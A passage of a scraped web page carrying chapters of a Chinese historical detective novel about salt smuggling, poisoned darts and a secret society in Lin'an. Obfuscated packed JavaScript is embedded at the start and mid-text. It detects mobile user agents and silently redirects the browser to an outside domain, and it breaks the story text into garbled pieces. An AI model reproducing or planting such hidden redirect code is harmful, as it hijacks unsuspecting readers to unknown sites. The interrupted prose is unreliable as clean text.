35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15509370|170544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“对,就是他,他是我多年的好友了。” “黄老板,您可能不知道,李鹤年已经被刺身亡了。” 黄寅听说古董商死了,脸上那个皮笑肉不笑的表情僵住了,非常急切地问:“宋县尉,您说的可当真吗?老李被刺身亡?确定是集市上照今古董阁的老板,李鹤年?” “确实是他。黄老板,您请节哀,我们正在追查凶手,所以您要是有什么线索,还请您一一告知,助我们尽快侦破此案。” 黄寅听了宋准的话,让人去内院拿出来了一个匣子,从匣子里拿出一封信,说那是古董商一个月前寄给他的,里面的内容颇有深意。 宋准接过来大致看了看,信中提到他去盐官淘古董时并未兑出盐,盐场给的说法是需要持本人身份符碟或委托文书才可兑,他便回了临安。 信的内容到这里戛然而止,好像只是为了说明自己为什么没有兑到盐,宋准看完信,将其折起放入信封中,抬头问黄寅:“黄老板,不知这封信我能否带回衙门做为证物?” 黄寅正拿帕子擦着眼泪,听了宋准的话,立刻回应道:“可以可以,还请宋县尉一定要为老李讨个公道,不能让他就这样平白无故地死去。” 又客套了几句,眼见黄寅提供不了更多线索,宋准便起身告辞了,走到前院时,看见马厩里的马,似乎精神不大好似的。 从黄寅府上离开,宋准肚子不争气地叫了,于是就在集市上找了个馄饨摊吃馄饨。 正是午间饭点儿,摊子上人不少,每桌都坐满了,宋准本想赶紧吃完了回一趟衙门,没想到坐在前面背对着他的一桌人聊天的内容引起了他的注意。 “昨日你说的那个,成了没啊?” “自然是成了,不然我哪有钱去见我的小桃红啊。” “可这要是被发现了,岂不是…” “怎么可能被发现,只要按照李大人说的,走他们安排好的路……有人护着呢,就算是……也能保我平安无事。” “当真吗?那你能不能带我一起,我最近手头也紧得很。” “这里人多耳杂,你要是真想跟着我干,今晚你来我家,咱们再细聊。” 宋准听到这里,便猜测那二人所说之事或与什么不法勾当有关,他们提到的李大人,是否就是盐官晒盐场的李监官?若真是如此,那这个李监官上面还有谁在为他作保?案子越来越疑点重重了。 9. 枢密院 宋准身上还穿着官服,不敢贸然上去打草惊蛇,他们的话里意味不明,也不能以这几句莫名其妙的话把他们带回衙门。 听他们后面的话里再没有什么有用的信息,宋准便结了账回衙门了,一路上,他串联着已有的线索,做出了一个大胆的猜测。 盐官县的李监官在帮着更高官位的人做着官盐走私的勾当,每月初九会通过吟兰苑的地道在吟兰苑中商议走私的事宜,每次都会屏退旁人,但是被老鸨看见了他们的长相,或者是听到了他们的话,于是他们找了鬼樊楼的人来处理掉老鸨。 但是牵连其中的不止官员,应当还有城中富商,永昌柜坊有可能就是富商的据点,富商官员等在柜坊兑银存物,就有了与他们正当接触的理由。 古董商被灭口,可能是因为,他是唯一被排除在外的,但他是主动与他们割席,还是被动排挤现在已经不得而知,那么黄寅又在其中扮演什么角色呢?他也是被割席的一个吗? 古董商在死前留下的血书,是否与此案有关?还是与那玉蝉有关? “玉蝉是交易的凭据!”宋准的心里突然冒出来了这个念头,顿时感觉整个人好似开悟了一般,若非如此,怎可能那样快的就要了他的性命! 一想通这些,宋准几乎是一路飞奔回了县廨,找出来那枚玉蝉,在光下细细查看,果然发现蝉翼上的纹路似有玄机,呈现了一种不太规则的点或线,没有完全连起来。 “这些断开的线代表什么?”宋准在心里想着,忽然听见外面似乎有人在叫他,立刻吹灭了灯,把玉蝉藏进了袖子里,那人走到了宋准房前,原来是王知县。 王知县在门口没有进来,看着他说:“宋县尉,案子可有进展?” 宋准立刻迎了出去,向王知县一作揖道:“知县怎么来了,在下办案不力,虽有些许线索,但进展不太顺利,在下有些猜测,只是还没有查出确凿的证据,便不敢先宣之于口。” “老夫知道,这案子本就蹊跷,你若需要什么帮助,尽管向我开口。”王知县拍了拍宋准肩膀,接着说,“即然已经有了眉目,还是尽快去验证,衙门中的人你皆可调用。” “多谢王知县。” 王知县嘱咐完这些便说要去田间视察春耕了,宋准将他送离了县廨,回到房中,发现墙上有一封插在半支断箭上的信,宋准将那信取下,上面只写了五个字:不要相信他。 那半支断箭的箭头上铸着一条盘着的龙,正是那日令狐朝临下来的古董商所中的箭头上的纹样!宋准立刻拿着那半支箭和信骑马冲向运河边,找到令狐朝的船,冲上去就敲门。 敲了半天,里面才传出一声含含糊糊的:“搞什么?哪儿又死人了?”那声音带着些气恼,好像是被人从睡梦中吵醒似的,宋准喊:“令狐兄!是我!快开门!” 又过了一会儿,里面的脚步声才近了,门刚一打开宋准就冲了进去,还被差点被门框撞了头,令狐朝只穿着里衣,发髻散乱着,又躺回了床上,拉过被子闭上了眼睛。 宋准十分急切,坐到令狐朝床边说:“令狐兄,你看这个箭头上面的纹样。令狐兄?” 令狐朝艰难地睁开一只眼睛,接过那个箭头眯眼瞧着,屋里昏暗,也不知道他到底看清楚了没,半天没动静,宋准再一看,原来他眼睛闭上又睡着了。 “令狐朝!”宋准在他耳边叫了他的名字,他这才惊醒,转头看见一脸气恼的宋准,才发现手上还拿着半支箭,看了看箭头,看了看宋准,问道:“你怎么把物证掰断了?” “什么掰断了,这是方才出现在我房中的,和这个一起。”宋准从怀中摸出那封信递给令狐朝,说是信,其实也就是一个字条。令狐朝坐起身,揉了揉眼睛,精神十分恍惚,接过那信看了,问:“谁写的?” “不知道。但我怀疑是那个射杀了古董商的黑衣人。可他说的这个不要相信他,这个他到底是谁?看到这个东西前,县令才到我这里来过,但早上我去了吟兰苑,又去了黄寅府上,他这是什么意思?” 令狐朝一连打了好几个哈欠,下床去打开了窗,刺眼的阳光照进船舱里,他眯着眼睛又回到了床上,问:“现在什么时辰了?” 宋准说:“马上就要到未时了。令狐兄,你昨晚没睡觉吗?” “今日辰时睡的。”令狐朝说完作势又要躺下,宋准一把将他拽住,道:“令狐兄,你先别睡,你听我说。” “哈?”令狐朝十分萎靡地一睁眼,看向宋准的脸,“说什么?” 宋准将自己今日的推测一并说给了令狐朝,又补充道:“我觉得小蛮的话里有深意,花魁失踪到现在还没有下落,我觉得不仅是和什么西域香料商有关,而是也和整个盐引走私有关。” “推测得挺对的。”令狐朝说,“既然已经有方向了,那就按图索骥吧。” 说完他打了个哈欠,伸手指了指窗边的桌子道:“拿一下最上面那本记簿。” 宋准起身走到桌边,上面放了一堆书册,拿起最上面那本递给令狐朝,他接过那记簿翻了翻,翻到一页写得乱七八糟药材的指给宋准说:“老鸨和你那日中的毒我配出来了,圈起来这几味药材,都是西域才有的。” 宋准十分难以置信地看着令狐朝,察觉到他的眼神,令狐朝不自觉地嘴角一扬道:“愚兄不才,略懂一些毒理。” 说完他又翻翻记簿,似乎没找到想要的东西,便直接递给宋准:“就这些了,扔回去吧。啊…好饿啊。”说完自顾自走下床,从锅里找出来半块糍粑啃着。 “令狐兄每日就吃这些?”宋准看到他那十分潦草的伙食,不免生起疑问。 令狐朝坐在桌边的椅子上,不知道从哪里拿出块铜镜,开始梳理自己凌乱的头发,嘴里叼着糍粑,胡乱地“嗯”了一声。发髻整理好了,许是额前紧了些,又被他扯下两缕来。 那半块糍粑让他三两口吃了,他才说:“糍粑顶饱啊,又耐储 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“那天我就隐隐闻见这里面味道不太对,起初我以为是西域香料的缘故,但我昨夜配药时细细闻了那些香料的气味,似都不像。”说着令狐朝突然抓起宋准的下衣摆闻了闻,问,“你去哪了?” 宋准一惊,不明所以地说着:“什么去哪了?就方才跟你说过的那些地方。” “那你衣摆上怎么也有这种气味?”令狐朝抬头问,手上还拽着宋准的衣摆。 “啊?”宋准被问得一头雾水,也蹲了下来,问,“什么气味?” 令狐朝放开了他的衣摆,用火折子照亮了地砖上一小块反光的痕迹,说:“桐油。”宋准不解:“桐油并不少见,许是给这暗道里的灯添油的伙计不小心洒了的。” “不,这不是给灯添的桐油,是枢密院特用的给卷宗防腐防潮的桐油。”令狐朝解释道,“用于防潮的桐油混合了清漆和松香,所以闻起来会有一些漆的气味。” 宋准用手沾了地上那一小块桐油在鼻尖嗅过,点头道:“果然是有漆味,难道说带走金雀儿的是枢密院的人?” “很有可能。你身上的漆味又是怎么回事?”令狐朝问。 宋准捞起衣摆闻了闻,确实有一些清漆的味道,“我也不知,许是去哪儿的时候不小心沾上的吧。” “太蹊跷了,宋准。”令狐朝起身,拽起宋准继续往前走,“你也就去了那么几个地方,难道是黄寅有问题?你说你在他府上小坐过。” “但黄寅丢了盐引,应当是受害者,前些日子又不在临安,我问过他的邻里和一些商户,都说那两月确实没有见过黄寅。” 说着话二人走到了一个岔路,令狐朝伸手在衣襟里掏掏,又摸了摸腰带,最后打开随身的箱子翻了翻,说:“坏了,忘记带罗盘了。听天由命吧。” “啊?”宋准一愣,已经被令狐朝推着走进了其中一条岔路,又在里面七拐八拐之后,终于看到了向上的木梯。 10. 老码头 令狐朝率先上去打开了上面的木门,钻了出去。宋准跟在他后面,上去后发现这是一间很宽敞的屋子,有木隔断和珠帘分开三块区域,暗道的出口在卧房这边。 靠墙有一个妆台,上面还放着个妆奁,令狐朝过去打开,里面都是十分精美的首饰,珠花绒花分开放着,边上的几个一寸大小的瓷罐里都是鲜艳的胭脂,看起来是个十分精致富裕的姑娘所有。 宋准过去开了门窗,才发现这是位于楼阁正中的花魁的房间,他叫住令狐朝:“令狐兄,这是花魁金雀儿的房间!” “花魁啊,难怪。”令狐朝撩开珠帘走到窗边,这时日头正盛,窗户一开屋里格外亮堂,还能看见院里的假山花卉,穿堂风带着花香一起飘进屋里,十分舒适。 走出房门,能看到楼阁中的房间是一个“回”字形布局,中央天井下方有水渠,令狐朝掏出记簿,在上面画出了楼阁的布局,标好了方向,对宋准说:“下去摸摸这暗道都通了哪里。” 宋准应下,二人就再次进了那暗道里。宋准在后面举着从花魁房里拿的油灯,令狐朝拿着笔在记簿上标注着方向,用步子测算距离。 在经过第一个岔路的时候,他停下来,从药箱里拿出一块木炭来,在墙上做了记号,走进了其中一条岔路。遇到有向上的木梯时,便上去看看是哪个位置的房间,在图上做上标记,再下去接着查看,如此往复,半个时辰过去,记簿上画出了一张如同蛛网一般的暗道结构。 回到地面上,令狐朝手指着其中一条向东的暗道,在那里他画了一个记号,侧头对宋准说:“我们方才经过这里时,没有走这个方向,但我看着那里面似乎还有很长的距离,可能是通到外面的。” “可要去一探究竟?”宋准问完,又自己答道,“既然发现了,应当去探一探。” “好。”令狐朝答应着,率先下了暗道,宋准从房里又拿了盏灯,才又进了暗道里。 顺着那条暗道一直向东,中间没有再遇到任何岔路,只是越向前,四周的墙壁似乎越潮湿,有一点风,吹起了令狐朝的额发,他说:“要到出口了。” 暗道尽头没有向上的木梯,只有一扇木门,有光从门缝里透进来,无数灰尘在那束光线里闪烁着,宋准伸手拉住了令狐朝,道:“令狐兄,小心门口有机关,我来开门。” 令狐朝点点头,让出身位让宋准上前去。木门外似乎有锁,一推之下没有开,宋准便抽出短刀伸进门缝,用力一挑,那锁链便断了,打开门,看到外面的景象,二人皆是一惊。 门外是运河边的一个废弃的漕运码头,木门开在河岸下,河边停着几艘破破烂烂的漕船,船身大多腐朽发黑,长满了青苔,桅杆折断,有一艘船甚至只有一半,大概是被附近的居民拆了当柴烧了。 宋准捡起被砍断的锁链看了看,说:“这锁链已经生锈,大概是用了很久的,但那锁却是新锁,说明这条暗道常有人走。” 令狐朝正盯着一艘船在看,并没注意宋准说了什么,自顾自的走过去,攀上了船沿。宋准见状,扔下手里的锁链追上去,也攀上了那艘船的船沿,跟着令狐朝进到了船舱里。 “令狐兄?是这艘船可有什么异常?”宋准问道。 令狐朝盯着船舱的地板,没有立刻回应宋准的话,直到掀起了一块角落的木板,才如释重负般舒了口气:“啊…果然是。”他指着那块地板下的东西,接着道:“这艘漕船被改装过,中间有夹层。” 宋准走近了,看到那地板下面,是码得整整齐齐的箱子,箱子外面都涂了桐油用于防水。他伸手蹭了一些,在鼻尖闻闻,立刻就意识到——这正是和暗道中一样的混了清漆与松香的枢密院特供的桐油。 “箱子没上锁,打开看看。”令狐朝说着,已经掀开了其中一个,里面是一袋一袋的扎紧口的布袋,打开袋子,赫然是白盐! 二人不禁同时倒吸一口凉气,依令狐朝的判断,这个被改造的船舱夹层里至少能够再放下十数口这样的箱子,一箱少说也有几十斤盐,这些箱子加起来也得有几百斤。 “令狐兄,着袋子下面似乎有东西!”宋准说着,拽住布袋下面露出的一角用力一扯,一沓油纸包裹的信件散落一地,他将其中一封信件捡起来展开,发现信中书写的并不是汉文的任何一种字体,倒有些像是北方游牧民族的文字。 令狐朝也捡起了其中一封,拿在手里换了几个方向也没将其认出来,皱眉道:“什么鬼画符,不会是通敌…”话还未说完,就被宋准冲上去捂住了嘴。 “令狐兄,这话可不能乱说!小心隔墙有耳!”宋准压低了声音在令狐朝耳边念叨,令狐朝瞪大了眼睛,伸手去掰宋准的手,纹丝不动。 “嗯!嗯嗯!”令狐朝挣扎着,从嗓子眼里挤出完全听不清的“松手”的音节,手伸到宋准腰上掐了一把,这才让他把手撒开。 一摆脱宋准的钳制,令狐朝立刻向后退了好几步远离他,却不慎后脚绊前脚摔倒在地,撞翻了边上的一个朽烂的柜子,从里面掉出了一个小盒子,滚了几圈停在了宋准面前。 令狐朝手劲不小,掐得宋准捂着腰半天没回过神来,盒子碰到了他的鞋,才低头看见,捡起来打开,里面竟然是一只玉蝉! 他立刻跑到还在地上摔的呲牙咧嘴的令狐朝身侧,拿玉蝉给他看,没成想刚一走近,令狐朝就闭着眼大喊:“啊啊啊别碰我!”两只手还在面前胡乱挥舞,宋准一愣,道:“令狐兄,我并未碰到你啊。” “哦…咳咳,抱歉,失态了。”令狐朝尴尬地咳了一声,接过他递来的玉蝉,船舱里光线暗,瞧不出与老鸨的那只有什么不同来,他便拿出火折子吹着了,将那玉蝉对着火光仔细观察,就看见玉蝉中间似乎有一根头发丝粗细的东西,直直的,也就一寸长。 “不会是什么暗器吧?”令狐朝嘟囔了一句,将那玉蝉尾部对着盒子,摸索蝉身上是否有机关,就在他捏到玉蝉的腹部两侧时,盒子传出了被刺中的声音,一根银针直直扎在盒盖上,玉蝉中已空空如也。 宋准拿过令狐朝手上的盒子,对着火光看那根细如发丝的银针 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说着话,边上有个叫卖焦酸馅儿的,正将刚炸好的几个焦酸馅儿放在竹蓖子上,油香扑鼻,宋准过去买了两个,递给令狐朝一个,令狐朝一愣,道:“请我的?那我便不客气了。” 宋准点了头,他才接过来吃着,金黄酥脆的外皮,咬开里面是酸黄齑和豆腐渣,挺香。吃完焦酸馅儿,令狐朝倒是真觉得饿了,此时日头已然西斜,今日就啃了半块糍粑,晚饭还不知吃些什么。 正想着,宋准就转头对他说:“令狐兄,你今日还未吃饭呢,不如一起去饭铺吃个便饭吧。” “好啊。”他答应着,“正好我也饿了。” 吟兰苑附近就有一家饭铺,二人一走近,伙计远远看到令狐朝就跟见了鬼似的,一脸菜色,恨不得离他们三丈远,宋准见状皱眉问道:“你这是做什么?难道我们还会吃人不成?” 伙计嘟囔了句“那可说不准”,看清了宋准身上的官服,才笑得很苦地走近他们说:“原来是县尉,里边儿请,里边儿请…” 铺子里不大,拢共不到十张桌子,都坐了人,伙计不好意思地对宋准赔笑:“县尉大人,实在是不好意思,饭点人多,您二位可再稍等等?” 宋准摆摆手道:“无妨。” 此时有些客人看到宋准身旁的令狐朝,面上都如临大敌般变颜变色,迅速扒完面前的饭食叫伙计结账,然后逃也似的离开饭铺,铺子里顿时空出来了一多半的桌子,令狐朝很无奈地笑了笑,走到最角落的一张桌子坐下,宋准跟上去坐在了他对面。 “令狐兄,这些人…” “看见了吧,跟着我,铺子生意再好都不用排队的。”令狐朝笑着打断他,并没有对百姓见到他就落荒而逃的事情表现出任何异样,似是早就见怪不怪,只是宋准能看出那笑意并不达他眼底。是呢,谁会希望自己在人群中被当成恶鬼一般躲避呢? 点的餐食端上来,铺子里人已经走完,伙计和掌柜脸色都不佳,和那日清晨的茶摊老板一样,想让令狐朝快些离开,又不敢上前驱赶,更何况县尉也在,便只能盼他们快些吃完,即使不收饭钱也使得。 11. 梁上君子 令狐朝面上看不出任何不对,只是将脊背挺得笔直,专心吃着饭,不发一语。 吃完饭回到吟兰苑,陈捕头已经在门口等候多时,一见到宋准走近,立刻迎上去问:“宋县尉,您去哪了?我是一通好找啊!” “香料铺子那边可问出些眉目了?” 陈捕头看了一眼宋准身边的令狐朝,又看看宋准,没说话,宋准一看便知他是什么意思,道:“你直说便是,指引去香料铺子的线索都是令狐仵作查出的,现在还要避开他不成?” “哎,是…是。”陈捕头点头,这才接着说,“有人曾在昨日傍晚见过香料铺子的马车往老码头去了,车上看起来拉着不少东西。” “就这些?”宋准问道。 陈捕头挠挠头,说:“香料铺子的进出货记档也查了,并无不妥,都是些西域的香料草药什么的,也有咱们本土的。” 宋准叹了口气,转头问令狐朝:“令狐兄怎么看?” “用眼睛看。”令狐朝飞快地翻着他的记簿,翻到他配出的毒药的成分拿给陈捕头道:“最近的记档里可有这几味药?” 陈捕头看了看,指着被令狐朝圈起来的那几味药飞快点头:“有!有!就是这些!” 西斜的阳光发白,周围的云也灰黄苍白,天边一声春雷响过,天上便飘起了蒙蒙细雨。街上的摊贩都开始收拾东西,行人匆匆路过,宋准伸手,几丝雨落在手掌上,便对陈捕头说:“今日大家也辛苦了,这就放值吧。留几人在此处看守便可。” “遵命!”陈捕头领命离开了,令狐朝打了个哈欠:“啊…我想去停尸房一趟,老鸨的尸体,可能有我之前没发现的痕迹。” “什么?!”宋准大惊,睁大眼瞧他,“什么痕迹?令狐兄怎么方才不说?” “别管了,去验了就知道了,你的马在哪儿?带我去县衙。”令狐朝拍拍宋准的后背,自顾自往外走,宋准连忙追上,在门口拴马桩牵了马,带着令狐朝赶回县衙去。 下了马,令狐朝三步并两步跑到停尸房,焚了药草就开始在老鸨后脑发间摸索,果然摸到了一根极细的银针,将其抽出,正好一寸长,和破船上那枚玉蝉所射出的银针别无二致。 宋准这时也走近了,从怀中摸出那个小木盒,拔出盖子上的银针,果然是一模一样的,老鸨此前手中所握的那一枚玉蝉也和这枚玉蝉相同。 “所以,老鸨不仅被下了毒,还被用了暗器?下手的难道是两拨人?”宋准不禁问道。 “她得罪了不少人啊…”令狐朝也喃喃,话音刚落,就听头顶传来一声嗤笑,二人立刻抬头望去,只见一黑衣人坐在房梁上看着他们,他并未蒙面,那张脸雌雄莫辨,极其俊美。 “你是何人!胆敢夜闯县衙!”宋准拔出短刀直指向那人,又伸手将令狐朝护在自己身后。 黑衣人极其轻巧地跳下来,落地竟无半点儿声音,像猫,像鬼魅。 他起身,缓缓开口,那声音也极轻:“宋县尉,上次有东西落在了您手上,我是来取回的。” “什么东西?”宋准问完这句,却立刻意识到他说的是什么,那身形,他说话的语气和声音,就是杀了古董商,又在柜坊刺伤自己的人,那块刻着“鬼樊”的腰牌,正是他所有。 黑衣人勾唇笑了笑,一歪头,缓缓地说:“在下鬼樊楼楼主,柳晏。宋县尉,今后我们还多的是见面的机会。” 令狐朝看着自称柳晏的黑衣人,沉声道:“呵,长本事了。” 宋准心中一惊,下意识回头看他,就被他伸手把头扭了过去,很快地在耳边小声说了句:“别看我!” 柳晏伸出手,没有回应令狐朝的话,只是还用那种没有任何感情的语气说道:“我的腰牌,还请县尉物归原主。这桩案子很快就会了结,我说过,你们最好不要查下去,对你们没有好处。” “你说那东西是你的,你有什么证据?本县尉所缴此案证物,凭何要交予你一个来路不明的人?” 柳晏走近了些,双手撑在一张停尸床上,压低了声音说:“就凭…我是你今后的头等功。” “宋县尉!宋县尉可在里面吗?”外面有衙役在叫着,宋准和令狐朝皆侧头看向门口,再回头时,柳晏已经不见了,连房梁上也空空如也。 “何事?”宋准收起了短刀,问道。 衙役小跑进来,行了个礼:“宋县尉,县令请您前去赴宴。” “谁设的宴?怎么不提前知会我一声?” “回县尉,是县里几位员外设宴款待宾客,县令的车马在门口等着,请您一同过去瞧瞧。” “好,你替我回县令,我随后就到。”宋准应下,衙役离开了,他在停尸房里转了一圈,都没有再看见柳晏的身影,停尸房里唯有屋檐下开着的一排小窗,难道他是从那窗子离开的? 令狐朝此时开口了:“别找了,他肯定早就跑了,你快去赴宴吧,别让县令等着,我也该回去了,配一下这银针上的毒。” “也好,那我那边散了再去河边寻你?” “行。”令狐朝答应着,挎上药箱走了。 回去的路上,还是细雨绵绵的,遇到了就要收摊儿的鱼贩,几文钱买了半筐不太精神的鱼虾,又在挑着担子的徽州贩子那儿买了些山笋,拎着回了运河边的船屋。 令狐朝刚开门进入屋内,就看见榻上斜靠着一人,手里拿着一个小酒壶在喝酒,再一瞧,竟然是柳晏。 “你怎么找到这儿的?”令狐朝扔下药箱和鱼篓,冷冷地问。 柳晏转头看过来,又喝了一口酒,坐直身子瞧他:“你猜?晦言,这么多年不见,没想到你竟然混成这样了。令狐仵作,这下是有名有姓了?” “既然知道我有名有姓,你也该知道我早就与鬼樊割席,今后不要再来找我,你我二人注定殊途。”令狐朝站在门边,将门推开,手伸向门外,“请你立刻离开。” 柳晏笑了,将酒壶放下,走到令狐朝面前站定,几乎要和他脸贴脸,他压低了声音,弯腰在令狐朝耳边道:“是晦言与鬼樊割席,又不是与稚言割席。况且你又怎知,你我不会殊途同归?那个宋准,有点意思,我很看好他。” 他抬眼看向令狐朝,带着笑意的眼神里不知道藏着些什么,让人捉摸不透。令狐朝深 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15509373|170544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吸一口气,飞快地从怀中掏出一粒东西塞进了柳晏嘴里,抬起他下巴迫使他将其咽下去,说了句:“去死吧你。” 说完便将柳晏拖出去扔进了水里,岸边水并不深,柳晏在水里扑腾了几下站起身,立刻就伸手压舌根,呕了几次都没将那粒丸药吐出来,冲着站在船头的令狐朝大喊:“晦言!你给我吃了什么东西?” “断肠散,回去想吃点什么就吃点什么吧,没几天好活了。不要再出现在我面前,也不要去找宋准。”令狐朝蹲下,抓起旁边掉下来的一条死鱼甩到了他脸上,啐了句:“去你爹的。” “啊啊啊啊啊啊啊啊晦言!我要你死无葬身之地!”柳晏大喊,捡起那条鱼又扔向令狐朝的方向,但令狐朝已然进屋锁上了门,全然不理会外面气急败坏的柳晏。 过了一会儿,他才开窗探出头,对着已经爬上岸拧着衣服的柳晏说道:“要杀要剐悉听尊便,但你也得杀得了我。”说完捡了柳晏放在塌边的酒壶从窗户扔到他身上:“拿着你的破玩意儿滚,不要再出现到我面前。” 估摸着柳晏已经离开,令狐朝才起身去开了门,蹲在船尾收拾着买回来的鱼,刮鳞去内脏,改刀后放进坛子里腌制。几个山笋削干净,拿了年节时存起来的小半只腊鸭子炖着,预备等宋准到了当做宵夜。 此时县里最大的酒楼醉欢楼里,正歌舞升平,宋准穿着一身杏色常服站在王县令身后,与那些商贾们应酬,都是些生面孔,来回说着没意思的车轱辘话,让人不自在,宋准便借口更衣,提前离了席,走到了酒楼门口吹风。 明月高悬,今夜是上弦月,雾蒙蒙的,看不见星星,街上还有夜市,行人不减,不住地喧闹着。 望着那月亮,宋准心头酸酸的,想起幼时与姊妹兄弟们在一起玩耍的日子,长兄手巧,会编细笼,他们总逮了萤火虫放进去做灯笼,睡觉也要挂在床头瞧着。一晃十几年,姐姐妹妹大都嫁为人妇,长兄却已经…… 正望着那月亮出神,一辆马车驶近了,停在醉欢楼门口,里面的人下了车,一身华服,宋准看过去,那人竟是黄寅。 “宋县尉来了怎么不进去?”黄寅也瞧见了他,率先问道。 宋准笑笑:“有些醉酒了,出来醒醒神。” “哦哈哈哈哈哈…”黄寅也笑了,“还以为宋县尉海量呢,那我便先入内了,请。” “请。” 在外面又站了会儿,宋准才回到宴席上,找到王县令坐在了他身后,麻木地嚼着那些精美的糕点和酒菜。他突然想到傍晚在停尸房时,柳晏说的那番话,“什么叫案子很快就会了结?他知道我们都查出来了什么?” 正想着,上座坐着的那人突然抬手示意众人安静,举杯道:“诸位,今日设宴,大家务必尽兴,不醉不归!” 话音落,众人皆举杯道:“不醉不归!”唯宋准咬着半块点心发愣,反应过来立刻将已喝尽的酒杯举起,随周围人一同做出饮尽杯中酒的样子,待宴席上又恢复了吵闹,他才走到县令身边道:“王县令,我身子有些不适,能否先离席?” 王县令点点头:“去吧,千万注意身体啊年轻人!” 12. 夜话 宋准从醉欢楼离开,还顺手包了几块糕点揣着,骑着马抄近路去了运河边,拴好马走近令狐朝的船屋,就看见他坐在船尾看月亮,手边放着个酒坛,不时拎起来灌一口。 “令狐兄!”宋准叫道,“你怎么坐外面了?” 令狐朝看到他,很慢地站起身进船舱,把前门打开将宋准迎进来。 屋子中央的炭炉上还炖着山笋鸭子,香气扑鼻,屋里没点灯,就靠窗户透进来的那点月光,他看不清令狐朝脸上的表情,闻到香味,便笑着问道:“令狐兄炖了鸭子?不知道我有没有口福尝尝。” “都是你的。”令狐朝走到桌边点上灯,把酒坛子放在桌上,“顺便再陪我喝几杯吧。” 宋准这才瞧见,他耳朵通红,蔓延至脸颊,明显是酒劲上头,眼里皆是落寞之色。他从药柜中拿出一只新的碗,倒了一碗酒递给宋准,说:“自己酿的桂花浊酒,别嫌弃。敢嫌弃就别再来找我。” 明明是带着些威胁的话,却用柔和的语气说得极轻极慢。宋准坐下,喝了一口应道:“怎会,这酒花香正好,醇厚绵长,比宴席上的酒不知好多少倍。” “哈哈,也就你会说些好听的话。”令狐朝倒在榻上,伸手拍了拍脸,又道,“好烫啊,又喝多了。” “那令狐兄可要先休息?我明日再来罢。”宋准欲起身告辞,令狐朝突然坐起身来看着他道:“急什么?给你炖的鸭子不尝尝?” 宋准疑惑:“给我炖的?” 令狐朝起来拿了碗筷,盛出两碗汤放在桌上,将肉多的那一碗推到了宋准面前:“年节的腊鸭,可能会有点咸,但汤里没放盐,应该尚能入口。” 碗里山笋切成了块,飘着油花,热气腾腾。宋准端起碗喝了一口,立刻赞不绝口:“令狐兄的手艺堪比酒楼的厨子了!哪里是尚能入口,简直堪称绝味!” 坐在桌边矮凳上的令狐朝端着碗,听了他说的话,露出了一个看傻子的表情眯眼瞧着他,翻了个白眼道:“你是不是有什么隐疾?去医馆看过了吗?大夫怎么说?” “啊?”宋准一愣,“没有啊,我是真心觉得令狐兄手艺好。” 令狐朝喝完了碗里的汤,把碗放在锅边又趴回了塌上,没回应宋准的话。半晌,他伸手从枕头下摸出记簿举起来说:“玉蝉暗器上的毒配出来了,圈起来的,自己去看。” 宋准过去接过记簿翻看,令狐朝写得一手十分工整的小楷,但那上面却什么乱七八糟的东西都横着竖着斜着写,大部分都是写着验尸的记录,几页写着琴谱,还有几页似是临的帖,几页上写着些什么“下雨前收衣裳”、“鱼鲊二月二封坛”、“聘狸奴吉日”、“宋准的大脑好像没发育”…… “宋准的大脑好像没发育?”宋准念出了那句话,令狐朝“腾”地一下翻身坐起夺过记簿喊道:“谁让你瞎翻的?最后一页!” 他翻到最后那页递给宋准,指给他看:“这个,牵机药,一滴毒倒一头牛。” “这么厉害?”宋准不禁惊叹不已,“那老鸨为何会手握刺进自己后颈的玉蝉?” “可能是凶手用过暗器后将玉蝉塞到了老鸨手里,也可能是老鸨也用这玉蝉发了暗器,只不过不敌对方,被反杀了。”令狐朝的酒醒了些,脸上红晕也褪去了大半,说完话拿过记簿,翻到写着“宋准的大脑好像没发育”的那一页,撕了那一块下来投进了炭炉里。 “令狐兄,在你看来,我是不是很蠢。”宋准低着头,看那一块烧成灰的纸,墨迹隐隐发红,还能依稀辨出几个字,“查案好难,应酬也难,但我又必须去做这些,还都做不好。” “说什么呢,二十好几了也不嫌丢人。”令狐朝盘腿坐着,一只手撑着脸,一只手摁着他的头向上抬起,看他一脸颓废的样子,“你看看你,长得也算是有鼻子有眼,也挺通人性的,就是你的心智啊,最多十岁。” 宋准摇摇头想离开他手的控制,但令狐朝手劲挺大,没让他躲开,他又接着说:“不过呢,人总会经过这个阶段的,我像你这么大的时候,也想不明白很多事,我现在不也活得好好的。你只要知道,很多事是不需要想明白的。明白吗?” 宋准又摇摇头,伸手从怀里掏出那包糕点递给他,小声说:“宴席上的糕点做得不错,给令狐兄顺了点。” 令狐朝放开了他的脑袋,接过那包糕点打开,拿出一个啃着,下了床,坐到矮凳上,挪到了他面前拍拍他的大腿:“你啊,就是经历太少了,从前在家里,做什么都有人兜底,自己出来闯荡,自然时时事事都不怎么顺心如意。没什么大不了的,啊,不行我给你下点药你睡一觉吧,睡醒了就好了。” 宋准抬头看着令狐朝那双眼睛,一半隐在烛光的阴影里,含着笑,说的话字字化作暖流,从双耳直抵内心,触及四肢百骸,让人鼻子发酸。 “怎么回事儿?真哭啦?”令狐朝探头看他,伸手在他眼前晃晃,“哎,哭吧,哭完了就好了,今天哭完,明天该做什么就照常做,明白吗?” 